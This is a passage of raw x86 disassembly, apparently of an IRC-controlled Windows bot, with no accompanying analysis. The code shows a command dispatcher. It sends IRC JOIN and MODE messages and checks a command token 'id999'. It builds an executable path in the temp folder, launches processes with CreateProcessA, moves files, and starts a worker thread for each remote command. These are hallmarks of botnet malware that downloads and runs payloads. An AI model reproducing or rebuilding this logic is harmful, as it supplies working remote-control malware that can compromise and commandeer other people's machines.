CreateThread mov ecx, [ebp+var_ED8] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_41027F call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434CD0 jmp loc_411D70 ; --------------------------------------------------------------------------- loc_410277: ; CODE XREF: sub_40CD3A+354Bj push 32h call dword_421060 ; Sleep loc_41027F: ; CODE XREF: sub_40CD3A+352Aj cmp [ebp+var_EC8], ebx jz short loc_410277 jmp loc_411D7F ; --------------------------------------------------------------------------- loc_41028C: ; CODE XREF: sub_40CD3A+24A9j ; sub_40CD3A+24C0j push 0FFh lea eax, [ebp+var_D34] push edi push eax call sub_416BE0 push 0FFh lea eax, [ebp+var_C34] push [ebp+arg_18] push eax call sub_416BE0 push [ebp+arg_0] mov [ebp+var_B30], ebx call sub_41587F mov [ebp+var_B2C], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_4102E8 push 10h push ebx push eax call sub_416930 add esp, 0Ch mov [ebp+var_B24], eax jmp short loc_4102EE ; --------------------------------------------------------------------------- loc_4102E8: ; CODE XREF: sub_40CD3A+3598j mov [ebp+var_B24], ebx loc_4102EE: ; CODE XREF: sub_40CD3A+35ACj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_410305 push esi call sub_41587F pop ecx mov [ebp+var_B28], eax jmp short loc_41030B ; --------------------------------------------------------------------------- loc_410305: ; CODE XREF: sub_40CD3A+35BAj mov [ebp+var_B28], ebx loc_41030B: ; CODE XREF: sub_40CD3A+35C9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_B20], eax lea eax, [ebp+var_DB4] mov [ebp+var_DB8], esi push eax call sub_416BE0 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_B18], eax mov eax, [ebp+var_8] mov [ebp+var_B1C], eax push edi lea eax, [ebp+var_2D8] push offset unk_434C8C push eax call sub_415316 push esi lea eax, [ebp+var_2D8] push 15h push eax call sub_414DDA add esp, 28h mov [ebp+var_B34], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_DB8] push ebx push eax push offset sub_40BBF7 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_B34] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_4103BC call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434C38 jmp loc_4105A5 ; --------------------------------------------------------------------------- loc_4103B4: ; CODE XREF: sub_40CD3A+3688j push 32h call dword_421060 ; Sleep loc_4103BC: ; CODE XREF: sub_40CD3A+3667j cmp [ebp+var_B14], ebx jz short loc_4103B4 jmp loc_4105B4 ; --------------------------------------------------------------------------- loc_4103C9: ; CODE XREF: sub_40CD3A+247Bj ; sub_40CD3A+2492j push 7Fh lea eax, [ebp+var_1A38] pop esi push esi push edi push eax call sub_416BE0 push esi lea eax, [ebp+var_19B8] push [ebp+arg_18] push eax call sub_416BE0 push esi lea eax, [ebp+var_1938] push [ebp+arg_0] push eax call sub_416BE0 push esi lea eax, [ebp+var_18B8] push [ebp+var_8C] push eax call sub_416BE0 mov eax, [ebp+var_8] push [ebp+arg_0] mov esi, [ebp+var_4] mov [ebp+var_1830], eax mov eax, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_1A3C], eax lea eax, [ebp+var_2D8] push edi push offset dword_434BF8 push eax mov [ebp+var_1834], esi call sub_415316 add esp, 44h lea eax, [ebp+var_2D8] push ebx push 0Bh push eax call sub_414DDA add esp, 0Ch mov [ebp+var_1838], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1A3C] push ebx push eax push offset sub_40182F push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_1838] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_4104BD call dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2D8] push offset dword_434BA8 push eax call sub_415316 add esp, 0Ch loc_4104A5: ; CODE XREF: sub_40CD3A+378Bj cmp [ebp+var_8], ebx jnz loc_40D68B push ebx push esi jmp loc_40F903 ; --------------------------------------------------------------------------- loc_4104B5: ; CODE XREF: sub_40CD3A+3789j push 32h call dword_421060 ; Sleep loc_4104BD: ; CODE XREF: sub_40CD3A+374Ej cmp [ebp+var_182C], ebx jz short loc_4104B5 jmp short loc_4104A5 ; --------------------------------------------------------------------------- loc_4104C7: ; CODE XREF: sub_40CD3A+2436j ; sub_40CD3A+244Dj ... push 7Fh lea eax, [ebp+var_1CC8] pop esi push esi push edi push eax call sub_416BE0 push esi lea eax, [ebp+var_1C48] push [ebp+arg_18] push eax call sub_416BE0 push esi lea eax, [ebp+var_1BC8] push [ebp+arg_0] push eax call sub_416BE0 push esi lea eax, [ebp+var_1B48] push [ebp+var_8C] push eax call sub_416BE0 push 20h lea eax, [ebp+var_1AC8] push [ebp+arg_8] push eax call sub_416BE0 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_1A48], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_1A44], eax lea eax, [ebp+var_2D8] push edi push offset unk_434B60 push eax mov [ebp+var_1CD0], esi call sub_415316 add esp, 50h lea eax, [ebp+var_2D8] push ebx push 0Ah push eax call sub_414DDA add esp, 0Ch mov [ebp+var_1CCC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1CD0] push ebx push eax push offset sub_401000 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_1CCC] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_4105CE call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434B10 loc_4105A5: ; CODE XREF: sub_40CD3A+2CD7j ; sub_40CD3A+2E11j ... lea eax, [ebp+var_2D8] push eax call sub_415316 loc_4105B1: ; CODE XREF: sub_40CD3A+2D07j add esp, 0Ch loc_4105B4: ; CODE XREF: sub_40CD3A+2CECj ; sub_40CD3A+2E26j ... cmp [ebp+var_8], ebx jnz loc_40D68B push ebx push [ebp+var_4] jmp loc_411D8A ; --------------------------------------------------------------------------- loc_4105C6: ; CODE XREF: sub_40CD3A+389Aj push 32h call dword_421060 ; Sleep loc_4105CE: ; CODE XREF: sub_40CD3A+385Dj cmp [ebp+var_1A40], ebx jz short loc_4105C6 jmp short loc_4105B4 ; --------------------------------------------------------------------------- loc_4105D8: ; CODE XREF: sub_40CD3A+2408j ; sub_40CD3A+241Fj push 7Fh lea eax, [ebp+var_158C] push edi push eax call sub_416BE0 push [ebp+arg_18] call sub_41587F push 3Fh mov [ebp+var_143C], eax push [ebp+arg_0] lea eax, [ebp+var_150C] push eax call sub_416BE0 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_410626 push 3Fh lea eax, [ebp+var_14CC] push esi push eax call sub_416BE0 add esp, 0Ch loc_410626: ; CODE XREF: sub_40CD3A+38D8j lea eax, [ebp+var_150C] mov [ebp+var_1438], 1 push eax lea eax, [ebp+var_158C] push [ebp+var_143C] push eax lea eax, [ebp+var_2D8] push offset unk_434AC8 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 17h push eax call sub_414DDA add esp, 20h mov [ebp+var_1434], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1590] push ebx push eax push offset sub_40CA58 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_1434] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_4106B5 call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434A78 jmp loc_40F517 ; --------------------------------------------------------------------------- loc_4106AD: ; CODE XREF: sub_40CD3A+3981j push 32h call dword_421060 ; Sleep loc_4106B5: ; CODE XREF: sub_40CD3A+3960j cmp [ebp+var_1430], ebx jz short loc_4106AD jmp loc_40F526 ; --------------------------------------------------------------------------- loc_4106C2: ; CODE XREF: sub_40CD3A+23C8j ; sub_40CD3A+23DFj push [ebp+arg_18] call sub_41587F cmp eax, ebx pop ecx mov [ebp+var_6C0], eax jle loc_4107B2 mov esi, 80h push edi lea eax, [ebp+var_848] push esi push eax call sub_41588A xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_8C] setnz al mov [ebp+var_6BC], eax mov eax, [ebp+arg_4] mov [ebp+var_84C], eax lea eax, [ebp+var_748] push esi push eax call sub_41588A mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_6B8], eax mov eax, [ebp+var_8] mov [ebp+var_6B4], eax push edi push offset unk_434A34 lea eax, [ebp+var_2D8] push 200h push eax call sub_41588A push ebx lea eax, [ebp+var_2D8] push 0Dh push eax call sub_414DDA add esp, 38h mov [ebp+var_6C8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_84C] push ebx push eax push offset sub_401444 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_6C8] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_4107A5 call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_4349E8 jmp loc_40EAFE ; --------------------------------------------------------------------------- loc_41079D: ; CODE XREF: sub_40CD3A+3A71j push 32h call dword_421060 ; Sleep loc_4107A5: ; CODE XREF: sub_40CD3A+3A50j cmp [ebp+var_6B0], ebx jz short loc_41079D jmp loc_40F8F6 ; --------------------------------------------------------------------------- loc_4107B2: ; CODE XREF: sub_40CD3A+3999j push offset unk_434998 jmp loc_40F8E8 ; --------------------------------------------------------------------------- loc_4107BC: ; CODE XREF: sub_40CD3A+239Aj ; sub_40CD3A+23B1j push [ebp+arg_18] push edi call dword_421134 ; MoveFileA test eax, eax jz short loc_4107E9 push [ebp+arg_18] lea eax, [ebp+var_2D8] push edi push offset unk_43495C push 200h push eax call sub_41588A jmp loc_411FAB ; --------------------------------------------------------------------------- loc_4107E9: ; CODE XREF: sub_40CD3A+3A8Ej push offset dword_43493C call sub_409B27 push eax lea eax, [ebp+var_2D8] push 200h push eax call sub_41588A add esp, 10h jmp loc_40F8F6 ; --------------------------------------------------------------------------- loc_41080D: ; CODE XREF: sub_40CD3A+236Cj ; sub_40CD3A+2383j push edi lea eax, [ebp+var_13A0] push 104h push eax call sub_41588A add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_410847 push [ebp+arg_18] push [ebp+var_C] call sub_4158E0 pop ecx cmp eax, ebx pop ecx jz short loc_410847 push eax lea eax, [ebp+var_129C] push eax call sub_415316 pop ecx pop ecx loc_410847: ; CODE XREF: sub_40CD3A+3AEBj ; sub_40CD3A+3AFCj push [ebp+var_8C] lea eax, [ebp+var_1420] push 80h push eax call sub_41588A mov eax, [ebp+arg_4] mov [ebp+var_1424], eax mov eax, [ebp+var_4] mov [ebp+var_1194], eax mov eax, [ebp+var_8] mov [ebp+var_1190], eax lea eax, [ebp+var_129C] push eax lea eax, [ebp+var_13A0] push eax push offset unk_4348F8 lea eax, [ebp+var_2D8] push 200h push eax call sub_41588A push ebx lea eax, [ebp+var_2D8] push 1Bh push eax call sub_414DDA add esp, 2Ch mov [ebp+var_1198], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1424] push ebx push eax push offset sub_4086B2 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_1198] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_41090C call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_4348A8 loc_4108F0: ; CODE XREF: sub_40CD3A+A55j ; sub_40CD3A+A7Bj ... lea eax, [ebp+var_2D8] push eax call sub_415316 add esp, 0Ch jmp loc_40D68B ; --------------------------------------------------------------------------- loc_410904: ; CODE XREF: sub_40CD3A+3BD8j push 32h call dword_421060 ; Sleep loc_41090C: ; CODE XREF: sub_40CD3A+3BA8j cmp [ebp+var_118C], ebx jz short loc_410904 jmp loc_40D68B ; --------------------------------------------------------------------------- loc_410919: ; CODE XREF: sub_40CD3A+233Ej ; sub_40CD3A+2355j push 44h lea eax, [ebp+var_31C] pop esi push esi push ebx push eax call sub_415390 mov [ebp+var_31C], esi xor esi, esi inc esi push edi mov [ebp+var_2F0], esi mov word ptr [ebp+var_2EC], bx call sub_41587F add esp, 10h cmp eax, esi jnz short loc_410956 mov word ptr [ebp+var_2EC], 5 loc_410956: ; CODE XREF: sub_40CD3A+3C11j cmp [ebp+var_C], ebx jz loc_40F526 push [ebp+arg_18] push [ebp+var_C] call sub_4158E0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_40F526 lea eax, [ebp+var_970] push eax lea eax, [ebp+var_31C] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call dword_4210EC ; CreateProcessA test eax, eax lea eax, [ebp+var_2D8] jnz short loc_4109A7 push offset unk_434870 jmp loc_40EDC4 ; --------------------------------------------------------------------------- loc_4109A7: ; CODE XREF: sub_40CD3A+3C61j push edi push offset dword_434844 jmp loc_40F51D ; --------------------------------------------------------------------------- loc_4109B2: ; CODE XREF: sub_40CD3A+2310j ; sub_40CD3A+2327j push [ebp+arg_18] push offset aId999 ; "id999" call sub_415730 pop ecx test eax, eax pop ecx jz loc_410B25 lea eax, [ebp+var_A80] push eax push 104h call dword_4210F8 ; GetTempPathA push 0FFh lea eax, [ebp+var_D34] push edi push eax call sub_416BE0 lea eax, [ebp+var_97C] push eax call sub_413FA0 push eax lea eax, [ebp+var_A80] push eax lea eax, [ebp+var_C34] push offset aSS_exe ; "%s%s.exe" push eax call sub_415316 mov eax, [ebp+esi+var_88] add esp, 20h cmp eax, ebx mov [ebp+var_B30], 1 mov [ebp+var_B2C], ebx jz short loc_410A44 push 10h push ebx push eax call sub_416930 add esp, 0Ch mov [ebp+var_B24], eax jmp short loc_410A4A ; --------------------------------------------------------------------------- loc_410A44: ; CODE XREF: sub_40CD3A+3CF4j mov [ebp+var_B24], ebx loc_410A4A: ; CODE XREF: sub_40CD3A+3D08j mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_410A64 push esi call sub_41587F pop ecx mov [ebp+var_B28], eax jmp short loc_410A6A ; --------------------------------------------------------------------------- loc_410A64: ; CODE XREF: sub_40CD3A+3D19j mov [ebp+var_B28], ebx loc_410A6A: ; CODE XREF: sub_40CD3A+3D28j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_B20], eax lea eax, [ebp+var_DB4] mov [ebp+var_DB8], esi push eax call sub_416BE0 mov eax, [ebp+var_4] push edi mov [ebp+var_B18], eax mov eax, [ebp+var_8] mov [ebp+var_B1C], eax lea eax, [ebp+var_2D8] push offset unk_4347F8 push eax call sub_415316 push esi lea eax, [ebp+var_2D8] push 16h push eax call sub_414DDA add esp, 24h mov [ebp+var_B34], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_DB8] push ebx push eax push offset sub_40BBF7 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_B34] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_410B18 call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_4347A8 jmp loc_40F517 ; --------------------------------------------------------------------------- loc_410B10: ; CODE XREF: sub_40CD3A+3DE4j push 32h call dword_421060 ; Sleep loc_410B18: ; CODE XREF: sub_40CD3A+3DC3j cmp [ebp+var_B14], ebx jz short loc_410B10 jmp loc_40F526 ; --------------------------------------------------------------------------- loc_410B25: ; CODE XREF: sub_40CD3A+3C89j push offset unk_434750 jmp loc_40EDBE ; --------------------------------------------------------------------------- loc_410B2F: ; CODE XREF: sub_40CD3A+22E2j ; sub_40CD3A+22F9j push [ebp+var_90] push offset dword_4365F0 call sub_415730 pop ecx test eax, eax pop ecx jz loc_40D18F cmp [ebp+var_C], ebx jz loc_40D18F push [ebp+arg_18] push [ebp+var_C] call sub_4158E0 push eax lea eax, [ebp+var_2D8] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_43473C push eax call sub_415316 lea eax, [ebp+var_2D8] push 1FFh push eax push [ebp+arg_0] call sub_416BE0 push edi call sub_41587F add esp, 30h test eax, eax jle short loc_410BB6 push edi call sub_41587F imul eax, 3E8h pop ecx push eax call dword_421060 ; Sleep loc_410BB6: ; CODE XREF: sub_40CD3A+3E66j push offset dword_434714 call sub_40B078 mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40D192 ; --------------------------------------------------------------------------- loc_410BCA: ; CODE XREF: sub_40CD3A+22B4j ; sub_40CD3A+22CBj push [ebp+var_90] push offset dword_4365F0 call sub_415730 pop ecx test eax, eax pop ecx jz loc_40D18F cmp [ebp+var_C], ebx jz loc_412818 push [ebp+arg_18] push [ebp+var_C] call sub_4158E0 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_415730 add esp, 10h test eax, eax push esi lea eax, [ebp+var_2D8] jz short loc_410C86 push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_43473C push eax call sub_415316 lea eax, [ebp+var_2D8] push 1FFh push eax push [ebp+arg_0] call sub_416BE0 push esi lea eax, [ebp+var_2D8] push offset dword_4346E0 push eax call sub_415316 lea eax, [ebp+var_2D8] push eax call sub_40B078 push edi call sub_41587F add esp, 38h test eax, eax jle loc_412818 push edi call sub_41587F add eax, [ebp+arg_24] pop ecx jmp loc_40D192 ; --------------------------------------------------------------------------- loc_410C86: ; CODE XREF: sub_40CD3A+3EDBj push offset dword_434698 push eax call sub_415316 add esp, 0Ch jmp loc_411212 ; --------------------------------------------------------------------------- loc_410C99: ; CODE XREF: sub_40CD3A+2286j ; sub_40CD3A+229Dj push [ebp+arg_18] lea eax, [ebp+var_2D8] push offset dword_434690 push eax call sub_415316 push edi call sub_41587F add esp, 10h loc_410CB6: ; CODE XREF: sub_40CD3A+3FE3j test eax, eax jle loc_412818 push edi call sub_41587F cmp eax, 12Ch pop ecx jge loc_412818 loc_410CD0: ; CODE XREF: sub_40CD3A+48B9j lea eax, [ebp+var_2D8] push eax push offset dword_425090 push edi call sub_41587F imul eax, 234h pop ecx push dword_4416D4[eax] call sub_412B8B jmp loc_412492 ; --------------------------------------------------------------------------- loc_410CF9: ; CODE XREF: sub_40CD3A+2258j ; sub_40CD3A+226Fj push [ebp+esi+var_88] lea eax, [ebp+var_2D8] push [ebp+arg_18] push offset dword_434684 push eax call sub_415316 push edi call sub_41587F add esp, 14h jmp short loc_410CB6 ; --------------------------------------------------------------------------- loc_410D1F: ; CODE XREF: sub_40CD3A+222Aj ; sub_40CD3A+2241j push [ebp+arg_18] lea eax, [ebp+var_2D8] push offset dword_43467C push eax call sub_415316 push edi call sub_41587F add esp, 10h test eax, eax jle loc_412818 push edi call sub_41587F cmp eax, 12Ch pop ecx jge loc_412818 lea eax, [ebp+var_2D8] push eax push offset dword_425090 push edi call sub_41587F imul eax, 234h pop ecx push dword_4416D4[eax] call sub_412B8B push [ebp+arg_18] push edi push offset dword_43464C loc_410D83: ; CODE XREF: sub_40CD3A+40D0j ; sub_40CD3A+413Bj ... call sub_40B0EC jmp loc_41216C ; --------------------------------------------------------------------------- loc_410D8D: ; CODE XREF: sub_40CD3A+21FCj ; sub_40CD3A+2213j cmp [ebp+var_C], ebx jz loc_412818 push [ebp+arg_18] push [ebp+var_C] call sub_4158E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_410DBE push esi lea eax, [ebp+var_2D8] push offset dword_434644 push eax call sub_415316 add esp, 0Ch loc_410DBE: ; CODE XREF: sub_40CD3A+406Dj push edi call sub_41587F test eax, eax pop ecx jle loc_412818 push edi call sub_41587F cmp eax, 12Ch pop ecx jge loc_412818 lea eax, [ebp+var_2D8] push eax push offset dword_425090 push edi call sub_41587F imul eax, 234h pop ecx push dword_4416D4[eax] call sub_412B8B push esi push edi push offset dword_434614 jmp loc_410D83 ; --------------------------------------------------------------------------- loc_410E0F: ; CODE XREF: sub_40CD3A+21CEj ; sub_40CD3A+21E5j cmp [ebp+var_C], ebx jz loc_412818 push [ebp+arg_18] push [ebp+var_C] call sub_4158E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_412818 push edi call sub_41587F test eax, eax pop ecx jle loc_412818 push edi call sub_41587F cmp eax, 12Ch pop ecx jge loc_412818 push esi push offset dword_425090 push edi call sub_41587F imul eax, 234h pop ecx push dword_4416D4[eax] call sub_412B8B push esi push edi push offset dword_4345E4 jmp loc_410D83 ; --------------------------------------------------------------------------- loc_410E7A: ; CODE XREF: sub_40CD3A+21A0j ; sub_40CD3A+21B7j cmp [ebp+var_C], ebx jz loc_412818 push edi push [ebp+var_C] call sub_4158E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_412818 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_412B8B push esi push offset dword_4345A8 jmp loc_4117D1 ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_40CD3A+2172j ; sub_40CD3A+2189j push [ebp+var_90] push offset dword_4365F0 call sub_415730 pop ecx test eax, eax pop ecx jz loc_40D18F push [ebp+arg_18] push offset dword_43459C push [ebp+arg_4] call sub_412B8B push edi call sub_41587F imul eax, 3E8h add esp, 10h push eax call dword_421060 ; Sleep push [ebp+esi+var_88] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_412B8B push offset dword_434574 call sub_40B078 jmp loc_4117D6 ; --------------------------------------------------------------------------- loc_410F17: ; CODE XREF: sub_40CD3A+2144j ; sub_40CD3A+215Bj cmp [ebp+var_C], ebx jz loc_412818 push edi call sub_415B10 push [ebp+arg_8] mov esi, eax call sub_415B10 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_4158E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_412818 push esi lea eax, [ebp+var_2D8] push offset dword_434E38 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push ebx push eax push edi push [ebp+arg_4] call sub_412BD1 push esi push edi push offset dword_434544 call sub_40B0EC add esp, 2Ch jmp loc_412818 ; --------------------------------------------------------------------------- loc_410F85: ; CODE XREF: sub_40CD3A+2116j ; sub_40CD3A+212Dj cmp [ebp+var_C], ebx jz loc_412818 push edi call sub_415B10 push [ebp+arg_8] mov esi, eax call sub_415B10 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_4158E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_412818 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_412BD1 push esi push edi push offset dword_434514 call sub_40B0EC loc_410FD3: ; CODE XREF: sub_40CD3A+2E76j add esp, 20h jmp loc_412818 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_40CD3A+20E8j ; sub_40CD3A+20FFj cmp [ebp+var_C], ebx jz loc_40D18F push [ebp+arg_18] push [ebp+var_C] call sub_4158E0 pop ecx cmp eax, ebx pop ecx jz loc_40D18F push eax push edi call sub_40AF80 push edi lea eax, [ebp+var_2D8] push offset dword_4344E4 push eax call sub_415316 add esp, 14h jmp loc_40F5D2 ; --------------------------------------------------------------------------- loc_41101A: ; CODE XREF: sub_40CD3A+20A8j ; sub_40CD3A+20BFj push edi push [ebp+arg_1C] call sub_4158E0 pop ecx test eax, eax pop ecx jz loc_412818 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4110B1 push esi push [ebp+var_C] call sub_4158E0 mov esi, eax pop ecx cmp esi, ebx pop ecx lea eax, [ebp+var_2D8] jz short loc_41109F push esi push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_43473C push eax call sub_415316 lea eax, [ebp+var_2D8] push 1FFh push eax push [ebp+arg_0] call sub_416BE0 push esi push edi lea eax, [ebp+var_2D8] push offset dword_4344AC push eax call sub_415316 add esp, 34h inc [ebp+arg_24] jmp loc_411233 ; --------------------------------------------------------------------------- loc_41109F: ; CODE XREF: sub_40CD3A+4313j push offset dword_434468 push eax call sub_415316 pop ecx pop ecx jmp loc_411233 ; --------------------------------------------------------------------------- loc_4110B1: ; CODE XREF: sub_40CD3A+42FCj push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40AC8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 push edi push offset dword_43443C lea eax, [ebp+var_2D8] push 200h push eax call sub_41588A add esp, 24h jmp loc_411233 ; --------------------------------------------------------------------------- loc_4110F8: ; CODE XREF: sub_40CD3A+1AFFj ; sub_40CD3A+1B16j push offset aR ; "r" push edi call sub_415A08 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_411172 mov ebx, 200h push esi lea eax, [ebp+var_2D8] push ebx push eax call sub_416FDC add esp, 0Ch jmp short loc_41114E ; --------------------------------------------------------------------------- loc_411123: ; CODE XREF: sub_40CD3A+4416j push 1 lea eax, [ebp+var_2D8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 push esi lea eax, [ebp+var_2D8] push ebx push eax call sub_416FDC add esp, 20h loc_41114E: ; CODE XREF: sub_40CD3A+43E7j test eax, eax jnz short loc_411123 push esi call sub_415960 push edi lea eax, [ebp+var_2D8] push offset dword_434404 push eax call sub_415316 add esp, 10h jmp loc_40F547 ; --------------------------------------------------------------------------- loc_411172: ; CODE XREF: sub_40CD3A+43CFj push edi push offset dword_4343D0 jmp loc_40F517 ; --------------------------------------------------------------------------- loc_41117D: ; CODE XREF: sub_40CD3A+1AD1j ; sub_40CD3A+1AE8j cmp [ebp+var_C], ebx jz loc_412818 push edi push [ebp+var_C] call sub_4158E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_412818 push offset asc_426CF0 ; "\n" push esi call sub_415A30 push esi call sub_40A506 add esp, 0Ch test eax, eax lea eax, [ebp+var_2D8] jnz short loc_4111C0 push offset dword_434390 jmp short loc_41120A ; --------------------------------------------------------------------------- loc_4111C0: ; CODE XREF: sub_40CD3A+447Dj push esi push offset dword_434364 push eax call sub_415316 add esp, 0Ch jmp short loc_411233 ; --------------------------------------------------------------------------- loc_4111D1: ; CODE XREF: sub_40CD3A+1AA3j ; sub_40CD3A+1ABAj cmp [ebp+var_C], ebx jz loc_412818 push edi push [ebp+var_C] call sub_4158E0 pop ecx cmp eax, ebx pop ecx jz loc_412818 push eax call sub_409BEC test eax, eax pop ecx lea eax, [ebp+var_2D8] jnz short loc_411205 push offset unk_434334 jmp short loc_41120A ; --------------------------------------------------------------------------- loc_411205: ; CODE XREF: sub_40CD3A+44C2j push offset dword_434304 loc_41120A: ; CODE XREF: sub_40CD3A+4484j ; sub_40CD3A+44C9j push eax call sub_415316 pop ecx pop ecx loc_411212: ; CODE XREF: sub_40CD3A+3F5Aj cmp [ebp+var_8], ebx jnz short loc_411233 push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 14h loc_411233: ; CODE XREF: sub_40CD3A+4360j ; sub_40CD3A+4372j ... lea eax, [ebp+var_2D8] push eax loc_41123A: ; CODE XREF: sub_40CD3A+164Aj call sub_40B078 pop ecx jmp loc_412818 ; --------------------------------------------------------------------------- loc_411245: ; CODE XREF: sub_40CD3A+1A75j ; sub_40CD3A+1A8Cj push 7Fh lea eax, [ebp+var_1824] push edi push eax call sub_416BE0 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_411274 push 7Fh lea eax, [ebp+var_17A4] push esi push eax call sub_416BE0 add esp, 0Ch loc_411274: ; CODE XREF: sub_40CD3A+4526j push 7Fh lea eax, [ebp+var_1724] push [ebp+var_8C] push eax call sub_416BE0 mov eax, [ebp+arg_4] push edi mov [ebp+var_1828], eax mov eax, [ebp+var_8] mov [ebp+var_16A0], eax mov eax, [ebp+var_4] mov [ebp+var_169C], eax lea eax, [ebp+var_2D8] push offset dword_4342D8 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 14h push eax call sub_414DDA add esp, 24h mov [ebp+var_16A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1828] push ebx push eax push offset sub_40AD52 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_16A4] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_411324 call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434288 loc_411308: ; CODE XREF: sub_40CD3A+562Cj lea eax, [ebp+var_2D8] push eax call sub_415316 add esp, 0Ch jmp loc_40F547 ; --------------------------------------------------------------------------- loc_41131C: ; CODE XREF: sub_40CD3A+45F0j push 32h call dword_421060 ; Sleep loc_411324: ; CODE XREF: sub_40CD3A+45C0j cmp [ebp+var_1698], ebx jz short loc_41131C jmp loc_40F547 ; --------------------------------------------------------------------------- loc_411331: ; CODE XREF: sub_40CD3A+1A47j ; sub_40CD3A+1A5Ej push ebx push [ebp+var_8C] push [ebp+arg_4] push edi call sub_4062F7 push edi push offset dword_43425C jmp loc_410D83 ; --------------------------------------------------------------------------- loc_41134C: ; CODE XREF: sub_40CD3A+1A19j ; sub_40CD3A+1A30j push 14h lea eax, [ebp+var_858] push ebx push eax call sub_415390 push edi lea eax, [ebp+var_844] push offset aS_1 ; "%s" push eax call sub_415316 mov eax, [ebp+arg_4] mov [ebp+var_860], eax lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_740] push 80h push eax call sub_41588A mov eax, [ebp+var_4] mov [ebp+var_6B8], eax mov eax, [ebp+var_8] mov [ebp+var_6B4], eax lea eax, [ebp+var_740] push eax lea eax, [ebp+var_844] push eax lea eax, [ebp+var_2D8] push offset dword_434224 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 12h push eax call 